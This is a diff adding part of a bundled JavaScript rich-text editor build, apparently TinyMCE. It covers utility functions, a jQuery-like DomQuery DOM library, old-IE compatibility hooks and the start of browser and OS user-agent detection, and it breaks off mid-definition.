+  var hasOwnProperty = function (obj, prop) {
+    return Object.prototype.hasOwnProperty.call(obj, prop);
+  };
+  var create = function (s, p, root) {
+    var self$$1 = this;
+    var sp, ns, cn, scn, c, de = 0;
+    s = /^((static) )?([\w.]+)(:([\w.]+))?/.exec(s);
+    cn = s[3].match(/(^|\.)(\w+)$/i)[2];
+    ns = self$$1.createNS(s[3].replace(/\.\w+$/, ''), root);
+    if (ns[cn]) {
+      return;
+    }
+    if (s[2] === 'static') {
+      ns[cn] = p;
+      if (this.onCreate) {
+        this.onCreate(s[2], s[3], ns[cn]);
+      }
+      return;
+    }
+    if (!p[cn]) {
+      p[cn] = function () {
+      };
+      de = 1;
+    }
+    ns[cn] = p[cn];
+    self$$1.extend(ns[cn].prototype, p);
+    if (s[5]) {
+      sp = self$$1.resolve(s[5]).prototype;
+      scn = s[5].match(/\.(\w+)$/i)[1];
+      c = ns[cn];
+      if (de) {
+        ns[cn] = function () {
+          return sp[scn].apply(this, arguments);
+        };
+      } else {
+        ns[cn] = function () {
+          this.parent = sp[scn];
+          return c.apply(this, arguments);
+        };
+      }
+      ns[cn].prototype[cn] = ns[cn];
+      self$$1.each(sp, function (f, n) {
+        ns[cn].prototype[n] = sp[n];
+      });
+      self$$1.each(p, function (f, n) {
+        if (sp[n]) {
+          ns[cn].prototype[n] = function () {
+            this.parent = sp[n];
+            return f.apply(this, arguments);
+          };
+        } else {
+          if (n !== cn) {
+            ns[cn].prototype[n] = f;
+          }
+        }
+      });
+    }
+    self$$1.each(p.static, function (f, n) {
+      ns[cn][n] = f;
+    });
+  };
+  var extend = function (obj, ext) {
+    var x = [];
+    for (var _i = 2; _i < arguments.length; _i++) {
+      x[_i - 2] = arguments[_i];
+    }
+    var i, l, name$$1;
+    var args = arguments;
+    var value;
+    for (i = 1, l = args.length; i < l; i++) {
+      ext = args[i];
+      for (name$$1 in ext) {
+        if (ext.hasOwnProperty(name$$1)) {
+          value = ext[name$$1];
+          if (value !== undefined) {
+            obj[name$$1] = value;
+          }
+        }
+      }
+    }
+    return obj;
+  };
+  var walk = function (o, f, n, s) {
+    s = s || this;
+    if (o) {
+      if (n) {
+        o = o[n];
+      }
+      $_6t4axrmjjgwe7jf.each(o, function (o, i) {
+        if (f.call(s, o, i, n) === false) {
+          return false;
+        }
+        walk(o, f, n, s);
+      });
+    }
+  };
+  var createNS = function (n, o) {
+    var i, v;
+    o = o || window;
+    n = n.split('.');
+    for (i = 0; i < n.length; i++) {
+      v = n[i];
+      if (!o[v]) {
+        o[v] = {};
+      }
+      o = o[v];
+    }
+    return o;
+  };
+  var resolve$1 = function (n, o) {
+    var i, l;
+    o = o || window;
+    n = n.split('.');
+    for (i = 0, l = n.length; i < l; i++) {
+      o = o[n[i]];
+      if (!o) {
+        break;
+      }
+    }
+    return o;
+  };
+  var explode = function (s, d) {
+    if (!s || is(s, 'array')) {
+      return s;
+    }
+    return $_6t4axrmjjgwe7jf.map(s.split(d || ','), trim);
+  };
+  var _addCacheSuffix = function (url) {
+    var cacheSuffix = $_bcvfv9ajjgwe79v.cacheSuffix;
+    if (cacheSuffix) {
+      url += (url.indexOf('?') === -1 ? '?' : '&') + cacheSuffix;
+    }
+    return url;
+  };
+  var $_6cwiepljjgwe7j4 = {
+    trim: trim,
+    isArray: $_6t4axrmjjgwe7jf.isArray,
+    is: is,
+    toArray: $_6t4axrmjjgwe7jf.toArray,
+    makeMap: makeMap,
+    each: $_6t4axrmjjgwe7jf.each,
+    map: $_6t4axrmjjgwe7jf.map,
+    grep: $_6t4axrmjjgwe7jf.filter,
+    inArray: $_6t4axrmjjgwe7jf.indexOf,
+    hasOwn: hasOwnProperty,
+    extend: extend,
+    create: create,
+    walk: walk,
+    createNS: createNS,
+    resolve: resolve$1,
+    explode: explode,
+    _addCacheSuffix: _addCacheSuffix
+  };
+
+  var doc = document;
+  var push$2 = Array.prototype.push;
+  var slice$2 = Array.prototype.slice;
+  var rquickExpr$1 = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/;
+  var Event$$1 = EventUtils.Event;
+  var skipUniques = $_6cwiepljjgwe7j4.makeMap('children,contents,next,prev');
+  var isDefined = function (obj) {
+    return typeof obj !== 'undefined';
+  };
+  var isString$1 = function (obj) {
+    return typeof obj === 'string';
+  };
+  var isWindow = function (obj) {
+    return obj && obj === obj.window;
+  };
+  var createFragment = function (html, fragDoc) {
+    var frag, node, container;
+    fragDoc = fragDoc || doc;
+    container = fragDoc.createElement('div');
+    frag = fragDoc.createDocumentFragment();
+    container.innerHTML = html;
+    while (node = container.firstChild) {
+      frag.appendChild(node);
+    }
+    return frag;
+  };
+  var domManipulate = function (targetNodes, sourceItem, callback, reverse) {
+    var i;
+    if (isString$1(sourceItem)) {
+      sourceItem = createFragment(sourceItem, getElementDocument(targetNodes[0]));
+    } else if (sourceItem.length && !sourceItem.nodeType) {
+      sourceItem = DomQuery.makeArray(sourceItem);
+      if (reverse) {
+        for (i = sourceItem.length - 1; i >= 0; i--) {
+          domManipulate(targetNodes, sourceItem[i], callback, reverse);
+        }
+      } else {
+        for (i = 0; i < sourceItem.length; i++) {
+          domManipulate(targetNodes, sourceItem[i], callback, reverse);
+        }
+      }
+      return targetNodes;
+    }
+    if (sourceItem.nodeType) {
+      i = targetNodes.length;
+      while (i--) {
+        callback.call(targetNodes[i], sourceItem);
+      }
+    }
+    return targetNodes;
+  };
+  var hasClass = function (node, className) {
+    return node && className && (' ' + node.className + ' ').indexOf(' ' + className + ' ') !== -1;
+  };
+  var wrap = function (elements, wrapper, all) {
+    var lastParent, newWrapper;
+    wrapper = DomQuery(wrapper)[0];
+    elements.each(function () {
+      var self$$1 = this;
+      if (!all || lastParent !== self$$1.parentNode) {
+        lastParent = self$$1.parentNode;
+        newWrapper = wrapper.cloneNode(false);
+        self$$1.parentNode.insertBefore(newWrapper, self$$1);
+        newWrapper.appendChild(self$$1);
+      } else {
+        newWrapper.appendChild(self$$1);
+      }
+    });
+    return elements;
+  };
+  var numericCssMap = $_6cwiepljjgwe7j4.makeMap('fillOpacity fontWeight lineHeight opacity orphans widows zIndex zoom', ' ');
+  var booleanMap = $_6cwiepljjgwe7j4.makeMap('checked compact declare defer disabled ismap multiple nohref noshade nowrap readonly selected', ' ');
+  var propFix = {
+    for: 'htmlFor',
+    class: 'className',
+    readonly: 'readOnly'
+  };
+  var cssFix = { float: 'cssFloat' };
+  var attrHooks = {};
+  var cssHooks = {};
+  var DomQuery = function (selector, context) {
+    return new DomQuery.fn.init(selector, context);
+  };
+  var inArray = function (item, array) {
+    var i;
+    if (array.indexOf) {
+      return array.indexOf(item);
+    }
+    i = array.length;
+    while (i--) {
+      if (array[i] === item) {
+        return i;
+      }
+    }
+    return -1;
+  };
+  var whiteSpaceRegExp$1 = /^\s*|\s*$/g;
+  var trim$1 = function (str) {
+    return str === null || str === undefined ? '' : ('' + str).replace(whiteSpaceRegExp$1, '');
+  };
+  var each$2 = function (obj, callback) {
+    var length$$1, key, i, value;
+    if (obj) {
+      length$$1 = obj.length;
+      if (length$$1 === undefined) {
+        for (key in obj) {
+          if (obj.hasOwnProperty(key)) {
+            value = obj[key];
+            if (callback.call(value, key, value) === false) {
+              break;
+            }
+          }
+        }
+      } else {
+        for (i = 0; i < length$$1; i++) {
+          value = obj[i];
+          if (callback.call(value, i, value) === false) {
+            break;
+          }
+        }
+      }
+    }
+    return obj;
+  };
+  var grep = function (array, callback) {
+    var out = [];
+    each$2(array, function (i, item) {
+      if (callback(item, i)) {
+        out.push(item);
+      }
+    });
+    return out;
+  };
+  var getElementDocument = function (element) {
+    if (!element) {
+      return doc;
+    }
+    if (element.nodeType === 9) {
+      return element;
+    }
+    return element.ownerDocument;
+  };
+  DomQuery.fn = DomQuery.prototype = {
+    constructor: DomQuery,
+    selector: '',
+    context: null,
+    length: 0,
+    init: function (selector, context) {
+      var self$$1 = this;
+      var match, node;
+      if (!selector) {
+        return self$$1;
+      }
+      if (selector.nodeType) {
+        self$$1.context = self$$1[0] = selector;
+        self$$1.length = 1;
+        return self$$1;
+      }
+      if (context && context.nodeType) {
+        self$$1.context = context;
+      } else {
+        if (context) {
+          return DomQuery(selector).attr(context);
+        }
+        self$$1.context = context = document;
+      }
+      if (isString$1(selector)) {
+        self$$1.selector = selector;
+        if (selector.charAt(0) === '<' && selector.charAt(selector.length - 1) === '>' && selector.length >= 3) {
+          match = [
+            null,
+            selector,
+            null
+          ];
+        } else {
+          match = rquickExpr$1.exec(selector);
+        }
+        if (match) {
+          if (match[1]) {
+            node = createFragment(selector, getElementDocument(context)).firstChild;
+            while (node) {
+              push$2.call(self$$1, node);
+              node = node.nextSibling;
+            }
+          } else {
+            node = getElementDocument(context).getElementById(match[2]);
+            if (!node) {
+              return self$$1;
+            }
+            if (node.id !== match[2]) {
+              return self$$1.find(selector);
+            }
+            self$$1.length = 1;
+            self$$1[0] = node;
+          }
+        } else {
+          return DomQuery(context).find(selector);
+        }
+      } else {
+        this.add(selector, false);
+      }
+      return self$$1;
+    },
+    toArray: function () {
+      return $_6cwiepljjgwe7j4.toArray(this);
+    },
+    add: function (items, sort) {
+      var self$$1 = this;
+      var nodes, i;
+      if (isString$1(items)) {
+        return self$$1.add(DomQuery(items));
+      }
+      if (sort !== false) {
+        nodes = DomQuery.unique(self$$1.toArray().concat(DomQuery.makeArray(items)));
+        self$$1.length = nodes.length;
+        for (i = 0; i < nodes.length; i++) {
+          self$$1[i] = nodes[i];
+        }
+      } else {
+        push$2.apply(self$$1, DomQuery.makeArray(items));
+      }
+      return self$$1;
+    },
+    attr: function (name$$1, value) {
+      var self$$1 = this;
+      var hook;
+      if (typeof name$$1 === 'object') {
+        each$2(name$$1, function (name$$1, value) {
+          self$$1.attr(name$$1, value);
+        });
+      } else if (isDefined(value)) {
+        this.each(function () {
+          var hook;
+          if (this.nodeType === 1) {
+            hook = attrHooks[name$$1];
+            if (hook && hook.set) {
+              hook.set(this, value);
+              return;
+            }
+            if (value === null) {
+              this.removeAttribute(name$$1, 2);
+            } else {
+              this.setAttribute(name$$1, value, 2);
+            }
+          }
+        });
+      } else {
+        if (self$$1[0] && self$$1[0].nodeType === 1) {
+          hook = attrHooks[name$$1];
+          if (hook && hook.get) {
+            return hook.get(self$$1[0], name$$1);
+          }
+          if (booleanMap[name$$1]) {
+            return self$$1.prop(name$$1) ? name$$1 : undefined;
+          }
+          value = self$$1[0].getAttribute(name$$1, 2);
+          if (value === null) {
+            value = undefined;
+          }
+        }
+        return value;
+      }
+      return self$$1;
+    },
+    removeAttr: function (name$$1) {
+      return this.attr(name$$1, null);
+    },
+    prop: function (name$$1, value) {
+      var self$$1 = this;
+      name$$1 = propFix[name$$1] || name$$1;
+      if (typeof name$$1 === 'object') {
+        each$2(name$$1, function (name$$1, value) {
+          self$$1.prop(name$$1, value);
+        });
+      } else if (isDefined(value)) {
+        this.each(function () {
+          if (this.nodeType === 1) {
+            this[name$$1] = value;
+          }
+        });
+      } else {
+        if (self$$1[0] && self$$1[0].nodeType && name$$1 in self$$1[0]) {
+          return self$$1[0][name$$1];
+        }
+        return value;
+      }
+      return self$$1;
+    },
+    css: function (name$$1, value) {
+      var self$$1 = this;
+      var elm, hook;
+      var camel = function (name$$1) {
+        return name$$1.replace(/-(\D)/g, function (a, b) {
+          return b.toUpperCase();
+        });
+      };
+      var dashed = function (name$$1) {
+        return name$$1.replace(/[A-Z]/g, function (a) {
+          return '-' + a;
+        });
+      };
+      if (typeof name$$1 === 'object') {
+        each$2(name$$1, function (name$$1, value) {
+          self$$1.css(name$$1, value);
+        });
+      } else {
+        if (isDefined(value)) {
+          name$$1 = camel(name$$1);
+          if (typeof value === 'number' && !numericCssMap[name$$1]) {
+            value = value.toString() + 'px';
+          }
+          self$$1.each(function () {
+            var style = this.style;
+            hook = cssHooks[name$$1];
+            if (hook && hook.set) {
+              hook.set(this, value);
+              return;
+            }
+            try {
+              this.style[cssFix[name$$1] || name$$1] = value;
+            } catch (ex) {
+            }
+            if (value === null || value === '') {
+              if (style.removeProperty) {
+                style.removeProperty(dashed(name$$1));
+              } else {
+                style.removeAttribute(name$$1);
+              }
+            }
+          });
+        } else {
+          elm = self$$1[0];
+          hook = cssHooks[name$$1];
+          if (hook && hook.get) {
+            return hook.get(elm);
+          }
+          if (elm.ownerDocument.defaultView) {
+            try {
+              return elm.ownerDocument.defaultView.getComputedStyle(elm, null).getPropertyValue(dashed(name$$1));
+            } catch (ex) {
+              return undefined;
+            }
+          } else if (elm.currentStyle) {
+            return elm.currentStyle[camel(name$$1)];
+          } else {
+            return '';
+          }
+        }
+      }
+      return self$$1;
+    },
+    remove: function () {
+      var self$$1 = this;
+      var node, i = this.length;
+      while (i--) {
+        node = self$$1[i];
+        Event$$1.clean(node);
+        if (node.parentNode) {
+          node.parentNode.removeChild(node);
+        }
+      }
+      return this;
+    },
+    empty: function () {
+      var self$$1 = this;
+      var node, i = this.length;
+      while (i--) {
+        node = self$$1[i];
+        while (node.firstChild) {
+          node.removeChild(node.firstChild);
+        }
+      }
+      return this;
+    },
+    html: function (value) {
+      var self$$1 = this;
+      var i;
+      if (isDefined(value)) {
+        i = self$$1.length;
+        try {
+          while (i--) {
+            self$$1[i].innerHTML = value;
+          }
+        } catch (ex) {
+          DomQuery(self$$1[i]).empty().append(value);
+        }
+        return self$$1;
+      }
+      return self$$1[0] ? self$$1[0].innerHTML : '';
+    },
+    text: function (value) {
+      var self$$1 = this;
+      var i;
+      if (isDefined(value)) {
+        i = self$$1.length;
+        while (i--) {
+          if ('innerText' in self$$1[i]) {
+            self$$1[i].innerText = value;
+          } else {
+            self$$1[0].textContent = value;
+          }
+        }
+        return self$$1;
+      }
+      return self$$1[0] ? self$$1[0].innerText || self$$1[0].textContent : '';
+    },
+    append: function () {
+      return domManipulate(this, arguments, function (node) {
+        if (this.nodeType === 1 || this.host && this.host.nodeType === 1) {
+          this.appendChild(node);
+        }
+      });
+    },
+    prepend: function () {
+      return domManipulate(this, arguments, function (node) {
+        if (this.nodeType === 1 || this.host && this.host.nodeType === 1) {
+          this.insertBefore(node, this.firstChild);
+        }
+      }, true);
+    },
+    before: function () {
+      var self$$1 = this;
+      if (self$$1[0] && self$$1[0].parentNode) {
+        return domManipulate(self$$1, arguments, function (node) {
+          this.parentNode.insertBefore(node, this);
+        });
+      }
+      return self$$1;
+    },
+    after: function () {
+      var self$$1 = this;
+      if (self$$1[0] && self$$1[0].parentNode) {
+        return domManipulate(self$$1, arguments, function (node) {
+          this.parentNode.insertBefore(node, this.nextSibling);
+        }, true);
+      }
+      return self$$1;
+    },
+    appendTo: function (val) {
+      DomQuery(val).append(this);
+      return this;
+    },
+    prependTo: function (val) {
+      DomQuery(val).prepend(this);
+      return this;
+    },
+    replaceWith: function (content) {
+      return this.before(content).remove();
+    },
+    wrap: function (content) {
+      return wrap(this, content);
+    },
+    wrapAll: function (content) {
+      return wrap(this, content, true);
+    },
+    wrapInner: function (content) {
+      this.each(function () {
+        DomQuery(this).contents().wrapAll(content);
+      });
+      return this;
+    },
+    unwrap: function () {
+      return this.parent().each(function () {
+        DomQuery(this).replaceWith(this.childNodes);
+      });
+    },
+    clone: function () {
+      var result = [];
+      this.each(function () {
+        result.push(this.cloneNode(true));
+      });
+      return DomQuery(result);
+    },
+    addClass: function (className) {
+      return this.toggleClass(className, true);
+    },
+    removeClass: function (className) {
+      return this.toggleClass(className, false);
+    },
+    toggleClass: function (className, state) {
+      var self$$1 = this;
+      if (typeof className !== 'string') {
+        return self$$1;
+      }
+      if (className.indexOf(' ') !== -1) {
+        each$2(className.split(' '), function () {
+          self$$1.toggleClass(this, state);
+        });
+      } else {
+        self$$1.each(function (index, node) {
+          var existingClassName, classState;
+          classState = hasClass(node, className);
+          if (classState !== state) {
+            existingClassName = node.className;
+            if (classState) {
+              node.className = trim$1((' ' + existingClassName + ' ').replace(' ' + className + ' ', ' '));
+            } else {
+              node.className += existingClassName ? ' ' + className : className;
+            }
+          }
+        });
+      }
+      return self$$1;
+    },
+    hasClass: function (className) {
+      return hasClass(this[0], className);
+    },
+    each: function (callback) {
+      return each$2(this, callback);
+    },
+    on: function (name$$1, callback) {
+      return this.each(function () {
+        Event$$1.bind(this, name$$1, callback);
+      });
+    },
+    off: function (name$$1, callback) {
+      return this.each(function () {
+        Event$$1.unbind(this, name$$1, callback);
+      });
+    },
+    trigger: function (name$$1) {
+      return this.each(function () {
+        if (typeof name$$1 === 'object') {
+          Event$$1.fire(this, name$$1.type, name$$1);
+        } else {
+          Event$$1.fire(this, name$$1);
+        }
+      });
+    },
+    show: function () {
+      return this.css('display', '');
+    },
+    hide: function () {
+      return this.css('display', 'none');
+    },
+    slice: function () {
+      return new DomQuery(slice$2.apply(this, arguments));
+    },
+    eq: function (index) {
+      return index === -1 ? this.slice(index) : this.slice(index, +index + 1);
+    },
+    first: function () {
+      return this.eq(0);
+    },
+    last: function () {
+      return this.eq(-1);
+    },
+    find: function (selector) {
+      var i, l;
+      var ret = [];
+      for (i = 0, l = this.length; i < l; i++) {
+        DomQuery.find(selector, this[i], ret);
+      }
+      return DomQuery(ret);
+    },
+    filter: function (selector) {
+      if (typeof selector === 'function') {
+        return DomQuery(grep(this.toArray(), function (item, i) {
+          return selector(i, item);
+        }));
+      }
+      return DomQuery(DomQuery.filter(selector, this.toArray()));
+    },
+    closest: function (selector) {
+      var result = [];
+      if (selector instanceof DomQuery) {
+        selector = selector[0];
+      }
+      this.each(function (i, node) {
+        while (node) {
+          if (typeof selector === 'string' && DomQuery(node).is(selector)) {
+            result.push(node);
+            break;
+          } else if (node === selector) {
+            result.push(node);
+            break;
+          }
+          node = node.parentNode;
+        }
+      });
+      return DomQuery(result);
+    },
+    offset: function (offset) {
+      var elm, doc, docElm;
+      var x = 0, y = 0, pos;
+      if (!offset) {
+        elm = this[0];
+        if (elm) {
+          doc = elm.ownerDocument;
+          docElm = doc.documentElement;
+          if (elm.getBoundingClientRect) {
+            pos = elm.getBoundingClientRect();
+            x = pos.left + (docElm.scrollLeft || doc.body.scrollLeft) - docElm.clientLeft;
+            y = pos.top + (docElm.scrollTop || doc.body.scrollTop) - docElm.clientTop;
+          }
+        }
+        return {
+          left: x,
+          top: y
+        };
+      }
+      return this.css(offset);
+    },
+    push: push$2,
+    sort: [].sort,
+    splice: [].splice
+  };
+  $_6cwiepljjgwe7j4.extend(DomQuery, {
+    extend: $_6cwiepljjgwe7j4.extend,
+    makeArray: function (object) {
+      if (isWindow(object) || object.nodeType) {
+        return [object];
+      }
+      return $_6cwiepljjgwe7j4.toArray(object);
+    },
+    inArray: inArray,
+    isArray: $_6cwiepljjgwe7j4.isArray,
+    each: each$2,
+    trim: trim$1,
+    grep: grep,
+    find: Sizzle,
+    expr: Sizzle.selectors,
+    unique: Sizzle.uniqueSort,
+    text: Sizzle.getText,
+    contains: Sizzle.contains,
+    filter: function (expr, elems, not) {
+      var i = elems.length;
+      if (not) {
+        expr = ':not(' + expr + ')';
+      }
+      while (i--) {
+        if (elems[i].nodeType !== 1) {
+          elems.splice(i, 1);
+        }
+      }
+      if (elems.length === 1) {
+        elems = DomQuery.find.matchesSelector(elems[0], expr) ? [elems[0]] : [];
+      } else {
+        elems = DomQuery.find.matches(expr, elems);
+      }
+      return elems;
+    }
+  });
+  var dir = function (el, prop, until) {
+    var matched = [];
+    var cur = el[prop];
+    if (typeof until !== 'string' && until instanceof DomQuery) {
+      until = until[0];
+    }
+    while (cur && cur.nodeType !== 9) {
+      if (until !== undefined) {
+        if (cur === until) {
+          break;
+        }
+        if (typeof until === 'string' && DomQuery(cur).is(until)) {
+          break;
+        }
+      }
+      if (cur.nodeType === 1) {
+        matched.push(cur);
+      }
+      cur = cur[prop];
+    }
+    return matched;
+  };
+  var sibling = function (node, siblingName, nodeType, until) {
+    var result = [];
+    if (until instanceof DomQuery) {
+      until = until[0];
+    }
+    for (; node; node = node[siblingName]) {
+      if (nodeType && node.nodeType !== nodeType) {
+        continue;
+      }
+      if (until !== undefined) {
+        if (node === until) {
+          break;
+        }
+        if (typeof until === 'string' && DomQuery(node).is(until)) {
+          break;
+        }
+      }
+      result.push(node);
+    }
+    return result;
+  };
+  var firstSibling = function (node, siblingName, nodeType) {
+    for (node = node[siblingName]; node; node = node[siblingName]) {
+      if (node.nodeType === nodeType) {
+        return node;
+      }
+    }
+    return null;
+  };
+  each$2({
+    parent: function (node) {
+      var parent$$1 = node.parentNode;
+      return parent$$1 && parent$$1.nodeType !== 11 ? parent$$1 : null;
+    },
+    parents: function (node) {
+      return dir(node, 'parentNode');
+    },
+    next: function (node) {
+      return firstSibling(node, 'nextSibling', 1);
+    },
+    prev: function (node) {
+      return firstSibling(node, 'previousSibling', 1);
+    },
+    children: function (node) {
+      return sibling(node.firstChild, 'nextSibling', 1);
+    },
+    contents: function (node) {
+      return $_6cwiepljjgwe7j4.toArray((node.nodeName === 'iframe' ? node.contentDocument || node.contentWindow.document : node).childNodes);
+    }
+  }, function (name$$1, fn) {
+    DomQuery.fn[name$$1] = function (selector) {
+      var self$$1 = this;
+      var result = [];
+      self$$1.each(function () {
+        var nodes = fn.call(result, this, selector, result);
+        if (nodes) {
+          if (DomQuery.isArray(nodes)) {
+            result.push.apply(result, nodes);
+          } else {
+            result.push(nodes);
+          }
+        }
+      });
+      if (this.length > 1) {
+        if (!skipUniques[name$$1]) {
+          result = DomQuery.unique(result);
+        }
+        if (name$$1.indexOf('parents') === 0) {
+          result = result.reverse();
+        }
+      }
+      result = DomQuery(result);
+      if (selector) {
+        return result.filter(selector);
+      }
+      return result;
+    };
+  });
+  each$2({
+    parentsUntil: function (node, until) {
+      return dir(node, 'parentNode', until);
+    },
+    nextUntil: function (node, until) {
+      return sibling(node, 'nextSibling', 1, until).slice(1);
+    },
+    prevUntil: function (node, until) {
+      return sibling(node, 'previousSibling', 1, until).slice(1);
+    }
+  }, function (name$$1, fn) {
+    DomQuery.fn[name$$1] = function (selector, filter) {
+      var self$$1 = this;
+      var result = [];
+      self$$1.each(function () {
+        var nodes = fn.call(result, this, selector, result);
+        if (nodes) {
+          if (DomQuery.isArray(nodes)) {
+            result.push.apply(result, nodes);
+          } else {
+            result.push(nodes);
+          }
+        }
+      });
+      if (this.length > 1) {
+        result = DomQuery.unique(result);
+        if (name$$1.indexOf('parents') === 0 || name$$1 === 'prevUntil') {
+          result = result.reverse();
+        }
+      }
+      result = DomQuery(result);
+      if (filter) {
+        return result.filter(filter);
+      }
+      return result;
+    };
+  });
+  DomQuery.fn.is = function (selector) {
+    return !!selector && this.filter(selector).length > 0;
+  };
+  DomQuery.fn.init.prototype = DomQuery.fn;
+  DomQuery.overrideDefaults = function (callback) {
+    var defaults;
+    var sub = function (selector, context) {
+      defaults = defaults || callback();
+      if (arguments.length === 0) {
+        selector = defaults.element;
+      }
+      if (!context) {
+        context = defaults.context;
+      }
+      return new sub.fn.init(selector, context);
+    };
+    DomQuery.extend(sub, this);
+    return sub;
+  };
+  var appendHooks = function (targetHooks, prop, hooks) {
+    each$2(hooks, function (name$$1, func) {
+      targetHooks[name$$1] = targetHooks[name$$1] || {};
+      targetHooks[name$$1][prop] = func;
+    });
+  };
+  if ($_bcvfv9ajjgwe79v.ie && $_bcvfv9ajjgwe79v.ie < 8) {
+    appendHooks(attrHooks, 'get', {
+      maxlength: function (elm) {
+        var value = elm.maxLength;
+        if (value === 2147483647) {
+          return undefined;
+        }
+        return value;
+      },
+      size: function (elm) {
+        var value = elm.size;
+        if (value === 20) {
+          return undefined;
+        }
+        return value;
+      },
+      class: function (elm) {
+        return elm.className;
+      },
+      style: function (elm) {
+        var value = elm.style.cssText;
+        if (value.length === 0) {
+          return undefined;
+        }
+        return value;
+      }
+    });
+    appendHooks(attrHooks, 'set', {
+      class: function (elm, value) {
+        elm.className = value;
+      },
+      style: function (elm, value) {
+        elm.style.cssText = value;
+      }
+    });
+  }
+  if ($_bcvfv9ajjgwe79v.ie && $_bcvfv9ajjgwe79v.ie < 9) {
+    cssFix.float = 'styleFloat';
+    appendHooks(cssHooks, 'set', {
+      opacity: function (elm, value) {
+        var style = elm.style;
+        if (value === null || value === '') {
+          style.removeAttribute('filter');
+        } else {
+          style.zoom = 1;
+          style.filter = 'alpha(opacity=' + value * 100 + ')';
+        }
+      }
+    });
+  }
+  DomQuery.attrHooks = attrHooks;
+  DomQuery.cssHooks = cssHooks;
+
+  var cached = function (f) {
+    var called = false;
+    var r;
+    return function () {
+      var args = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        args[_i] = arguments[_i];
+      }
+      if (!called) {
+        called = true;
+        r = f.apply(null, args);
+      }
+      return r;
+    };
+  };
+
+  var firstMatch = function (regexes, s) {
+    for (var i = 0; i < regexes.length; i++) {
+      var x = regexes[i];
+      if (x.test(s))
+        return x;
+    }
+    return undefined;
+  };
+  var find$2 = function (regexes, agent) {
+    var r = firstMatch(regexes, agent);
+    if (!r)
+      return {
+        major: 0,
+        minor: 0
+      };
+    var group = function (i) {
+      return Number(agent.replace(r, '$' + i));
+    };
+    return nu(group(1), group(2));
+  };
+  var detect = function (versionRegexes, agent) {
+    var cleanedAgent = String(agent).toLowerCase();
+    if (versionRegexes.length === 0)
+      return unknown();
+    return find$2(versionRegexes, cleanedAgent);
+  };
+  var unknown = function () {
+    return nu(0, 0);
+  };
+  var nu = function (major, minor) {
+    return {
+      major: major,
+      minor: minor
+    };
+  };
+  var $_4qb10ysjjgwe7kc = {
+    nu: nu,
+    detect: detect,
+    unknown: unknown
+  };
+
+  var edge = 'Edge';
+  var chrome = 'Chrome';
+  var ie$1 = 'IE';
+  var opera$1 = 'Opera';
+  var firefox = 'Firefox';
+  var safari = 'Safari';
+  var isBrowser = function (name, current) {
+    return function () {
+      return current === name;
+    };
+  };
+  var unknown$1 = function () {
+    return nu$1({
+      current: undefined,
+      version: $_4qb10ysjjgwe7kc.unknown()
+    });
+  };
+  var nu$1 = function (info) {
+    var current = info.current;
+    var version = info.version;
+    return {
+      current: current,
+      version: version,
+      isEdge: isBrowser(edge, current),
+      isChrome: isBrowser(chrome, current),
+      isIE: isBrowser(ie$1, current),
+      isOpera: isBrowser(opera$1, current),
+      isFirefox: isBrowser(firefox, current),
+      isSafari: isBrowser(safari, current)
+    };
+  };
+  var $_66ohnorjjgwe7k7 = {
+    unknown: unknown$1,
+    nu: nu$1,
+    edge: constant(edge),
+    chrome: constant(chrome),
+    ie: constant(ie$1),
+    opera: constant(opera$1),
+    firefox: constant(firefox),
+    safari: constant(safari)
+  };
+
+  var windows = 'Windows';
+  var ios = 'iOS';
+  var android$1 = 'Android';
+  var linux = 'Linux';
+  var osx = 'OSX';
+  var solaris = 'Solaris';
+  var freebsd = 'FreeBSD';
+  var isOS = function (name, current) {
+    return function () {
+      return current === name;
+    };
+  };
+  var unknown$2 = function () {
+    return nu$2({
+      current: undefined,
+      version: $_4qb10ysjjgwe7kc.unknown()
+    });
+  };
+  var nu$2 = function (info) {
+    var current = info.current;
+    var version = info.version;
+    return {
+      current: current,
+      version: version,
+      isWindows: isOS(windows, current),
+      isiOS: isOS(ios, current),
+      isAndroid: isOS(android$1, current),
+      isOSX: isOS(osx, current),
+      isLinux: isOS(linux, current),
+      isSolaris: isOS(solaris, current),
+      isFreeBSD: isOS(freebsd, current)
+    };
+  };
+  var $_m4ezttjjgwe7kg = {
+    unknown: unknown$2,
+    nu: nu$2,
+    windows: constant(windows),
+    ios: constant(ios),
+    android: constant(android$1),
+    linux: constant(linux),
+    osx: constant(osx),
+    solaris: constant(solaris),
+    freebsd: constant(freebsd)
+  };
+
+  function DeviceType (os, browser, userAgent) {
+    var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
+    var isiPhone = os.isiOS() && !isiPad;
+    var isAndroid3 = os.isAndroid() && os.version.major === 3;
+    var isAndroid4 = os.isAndroid() && os.version.major === 4;
+    var isTablet = isiPad || isAndroid3 || isAndroid4 && /mobile/i.test(userAgent) === true;
+    var isTouch = os.isiOS() || os.isAndroid();
+    var isPhone = isTouch && !isTablet;
+    var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
+    return {
+      isiPad: constant(isiPad),
+      isiPhone: constant(isiPhone),
+      isTablet: constant(isTablet),
+      isPhone: constant(isPhone),
+      isTouch: constant(isTouch),
+      isAndroid: os.isAndroid,
+      isiOS: os.isiOS,
+      isWebView: constant(iOSwebview)
+    };
+  }
+
+  var detect$1 = function (candidates, userAgent) {
+    var agent = String(userAgent).toLowerCase();
+    return find(candidates, function (candidate) {
+      return candidate.search(agent);
+    });
+  };
+  var detectBrowser = function (browsers, userAgent) {
+    return detect$1(browsers, userAgent).map(function (browser) {
+      var version = $_4qb10ysjjgwe7kc.detect(browser.versionRegexes, userAgent);
+      return {
+        current: browser.name,
+        version: version
+      };
+    });
+  };
+  var detectOs = function (oses, userAgent) {
+    return detect$1(oses, userAgent).map(function (os) {
+      var version = $_4qb10ysjjgwe7kc.detect(os.versionRegexes, userAgent);
+      return {
+        current: os.name,
+        version: version
+      };
+    });
+  };
+  var $_5cav46vjjgwe7kq = {
+    detectBrowser: detectBrowser,
+    detectOs: detectOs
+  };
+
+  var contains$2 = function (str, substr) {
+    return str.indexOf(substr) !== -1;
+  };
+
+
+
+  var trim$2 = function (str) {
+    return str.replace(/^\s+|\s+$/g, '');
+  };
+
+  var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
+  var checkContains = function (target) {
+    return function (uastring) {
+      return contains$2(uastring, target);
+    };
+  };
+  var browsers = [
+    {
+      name: 'Edge',
+      versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
+      search: function (uastring) {
